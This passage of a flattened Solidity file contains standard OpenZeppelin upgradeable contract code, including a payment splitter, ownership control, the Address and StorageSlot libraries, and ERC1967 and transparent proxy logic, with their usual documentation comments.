`token`. * Revert on invalid signature. */ function safePermit( IERC20PermitUpgradeable token, address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) internal { uint256 nonceBefore = token.nonces(owner); token.permit(owner, spender, value, deadline, v, r, s); uint256 nonceAfter = token.nonces(owner); require(nonceAfter == nonceBefore + 1, "SafeERC20: permit did not succeed"); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); require(returndata.length == 0 || abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). * * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead. */ function _callOptionalReturnBool(IERC20Upgradeable token, bytes memory data) private returns (bool) { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false // and not revert is the subcall reverts. (bool success, bytes memory returndata) = address(token).call(data); return success && (returndata.length == 0 || abi.decode(returndata, (bool))) && AddressUpgradeable.isContract(address(token)); } } // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. The distribution of shares is set at the * time of contract deployment and can't be updated thereafter. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitterUpgradeable is Initializable, ContextUpgradeable { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20Upgradeable indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20Upgradeable => uint256) private _erc20TotalReleased; mapping(IERC20Upgradeable => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ function __PaymentSplitter_init(address[] memory payees, uint256[] memory shares_) internal onlyInitializing { __PaymentSplitter_init_unchained(payees, shares_); } function __PaymentSplitter_init_unchained(address[] memory payees, uint256[] memory shares_) internal onlyInitializing { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20Upgradeable token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20Upgradeable token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Getter for the amount of payee's releasable Ether. */ function releasable(address account) public view returns (uint256) { uint256 totalReceived = address(this).balance + totalReleased(); return _pendingPayment(account, totalReceived, released(account)); } /** * @dev Getter for the amount of payee's releasable `token` tokens. `token` should be the address of an * IERC20 contract. */ function releasable(IERC20Upgradeable token, address account) public view returns (uint256) { uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); return _pendingPayment(account, totalReceived, released(token, account)); } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 payment = releasable(account); require(payment != 0, "PaymentSplitter: account is not due payment"); // _totalReleased is the sum of all values in _released. // If "_totalReleased += payment" does not overflow, then "_released[account] += payment" cannot overflow. _totalReleased += payment; unchecked { _released[account] += payment; } AddressUpgradeable.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20Upgradeable token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 payment = releasable(token, account); require(payment != 0, "PaymentSplitter: account is not due payment"); // _erc20TotalReleased[token] is the sum of all values in _erc20Released[token]. // If "_erc20TotalReleased[token] += payment" does not overflow, then "_erc20Released[token][account] += payment" // cannot overflow. _erc20TotalReleased[token] += payment; unchecked { _erc20Released[token][account] += payment; } SafeERC20Upgradeable.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[43] private __gap; } // OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { _checkOwner(); _; } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if the sender is not the owner. */ function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby disabling any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; // Following line is a dummy import, otherwise TUP would not be compiled // OpenZeppelin Contracts (last updated v4.9.0) (proxy/transparent/TransparentUpgradeableProxy.sol) // OpenZeppelin Contracts (last updated v4.7.0) (proxy/ERC1967/ERC1967Proxy.sol) // OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol) /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overridden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // OpenZeppelin Contracts (last updated v4.9.0) (proxy/ERC1967/ERC1967Upgrade.sol) // OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol) /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // OpenZeppelin Contracts (last updated v4.9.0) (interfaces/IERC1967.sol) /** * @dev ERC-1967: Proxy Storage Slots. This interface contains the events defined in the ERC. * * _Available since v4.8.3._ */ interface IERC1967 { /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Emitted when the beacon is changed. */ event BeaconUpgraded(address indexed beacon); } // OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol) /** * @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified * proxy whose upgrades are fully controlled by the current implementation. */ interface IERC1822Proxiable { /** * @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation * address. * * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this * function revert if invoked through a proxy. */ function proxiableUUID() external view returns (bytes32); } // OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // OpenZeppelin Contracts (last updated v4.9.0) (utils/StorageSlot.sol) // This file was procedurally generated from scripts/generate/templates/StorageSlot.js. /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ```solidity * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, `uint256`._ * _Available since v4.9 for `string`, `bytes`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } struct StringSlot { string value; } struct BytesSlot { bytes value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `StringSlot` with member `value` located at `slot`. */ function getStringSlot(bytes32 slot) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `StringSlot` representation of the string storage pointer `store`. */ function getStringSlot(string storage store) internal pure returns (StringSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } /** * @dev Returns an `BytesSlot` with member `value` located at `slot`. */ function getBytesSlot(bytes32 slot) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := slot } } /** * @dev Returns an `BytesSlot` representation of the bytes storage pointer `store`. */ function getBytesSlot(bytes storage store) internal pure returns (BytesSlot storage r) { /// @solidity memory-safe-assembly assembly { r.slot := store.slot } } } /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ */ abstract contract ERC1967Upgrade is IERC1967 { // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _upgradeTo(newImplementation); if (data.length > 0 || forceCall) { Address.functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallUUPS(address newImplementation, bytes memory data, bool forceCall) internal { // Upgrades from old implementations will perform a rollback test. This test requires the new // implementation to upgrade back to the old, non-ERC1822 compliant, implementation. Removing // this special case will break upgrade paths from old UUPS implementation to new ones. if (StorageSlot.getBooleanSlot(_ROLLBACK_SLOT).value) { _setImplementation(newImplementation); } else { try IERC1822Proxiable(newImplementation).proxiableUUID() returns (bytes32 slot) { require(slot == _IMPLEMENTATION_SLOT, "ERC1967Upgrade: unsupported proxiableUUID"); } catch { revert("ERC1967Upgrade: new implementation is not UUPS"); } _upgradeToAndCall(newImplementation, data, forceCall); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlot.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlot.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require(Address.isContract(newBeacon), "ERC1967: new beacon is not a contract"); require( Address.isContract(IBeacon(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data); } } } /** * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an * implementation address that can be changed. This address is stored in storage in the location specified by * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the * implementation behind the proxy. */ contract ERC1967Proxy is Proxy, ERC1967Upgrade { /** * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`. * * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded * function call, and allows initializing the storage of the proxy like a Solidity constructor. */ constructor(address _logic, bytes memory _data) payable { _upgradeToAndCall(_logic, _data, false); } /** * @dev Returns the current implementation address. */ function _implementation() internal view virtual override returns (address impl) { return ERC1967Upgrade._getImplementation(); } } /** * @dev Interface for {TransparentUpgradeableProxy}. In order to implement transparency, {TransparentUpgradeableProxy} * does not implement this interface directly, and some of its functions are implemented by an internal dispatch * mechanism. The compiler is unaware that these functions are implemented by {TransparentUpgradeableProxy} and will not * include them in the ABI so this interface must be used to interact with it. */ interface ITransparentUpgradeableProxy is IERC1967 { function admin() external view returns (address); function implementation() external view returns (address); function changeAdmin(address) external; function upgradeTo(address) external; function upgradeToAndCall(address, bytes memory) external payable; } /** * @dev This contract implements a proxy that is upgradeable by an admin. * * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector * clashing], which can potentially be used in an attack, this contract uses the * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two * things that go hand in hand: * * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if * that call matches one of the admin functions exposed by the proxy itself. * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the * implementation. If the admin tries to call a function on the implementation it will fail with an error that says * "admin cannot fallback to proxy target". * * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due * to sudden errors when trying to call a function from the proxy implementation. * * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way, * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy. * * NOTE: The real interface of this proxy is that defined in `ITransparentUpgradeableProxy`. This contract does not * inherit from that interface, and instead the admin functions are implicitly implemented using a custom dispatch * mechanism in `_fallback`. Consequently, the compiler will not produce an ABI for this contract. This is necessary to * fully implement transparency without decoding reverts caused by selector clashes between the proxy and the * implementation. * * WARNING: It is not recommended to extend this contract to add additional external functions. If you do so, the compiler * will not check that there are no selector conflicts, due to the note above. A selector clash between any new function * and the functions declared in {ITransparentUpgradeableProxy} will be resolved in favor of the new one. This could * render the admin operations inaccessible, which could prevent upgradeability. Transparency may also be compromised. */ contract TransparentUpgradeableProxy is ERC1967Proxy { /** * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}. */ constructor(address _logic, address admin_, bytes memory _data) payable ERC1967Proxy(_logic, _data) { _changeAdmin(admin_); } /** * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin. * * CAUTION: This modifier is deprecated, as it could cause issues if the modified function has arguments, and the * implementation provides a function with the same selector. */ modifier ifAdmin() { if (msg.sender == _getAdmin()) { _; } else { _fallback(); } } /** * @dev If caller is the admin process the call internally, otherwise transparently fallback to the proxy behavior */ function _fallback() internal virtual override { if (msg.sender == _getAdmin()) { bytes memory ret; bytes4 selector = msg.sig; if (selector == ITransparentUpgradeableProxy.upgradeTo.selector) { ret = _dispatchUpgradeTo(); } else if (selector == ITransparentUpgradeableProxy.upgradeToAndCall.selector) { ret = _dispatchUpgradeToAndCall(); } else if (selector == ITransparentUpgradeableProxy.changeAdmin.selector) { ret = _dispatchChangeAdmin(); } else if (selector == ITransparentUpgradeableProxy.admin.selector) { ret = _dispatchAdmin(); } else if (selector == ITransparentUpgradeableProxy.implementation.selector) { ret = _dispatchImplementation(); } else { revert("TransparentUpgradeableProxy: admin cannot fallback to proxy target"); } assembly { return(add(ret, 0x20), mload(ret)) } } else { super._fallback(); } } /** * @dev Returns the 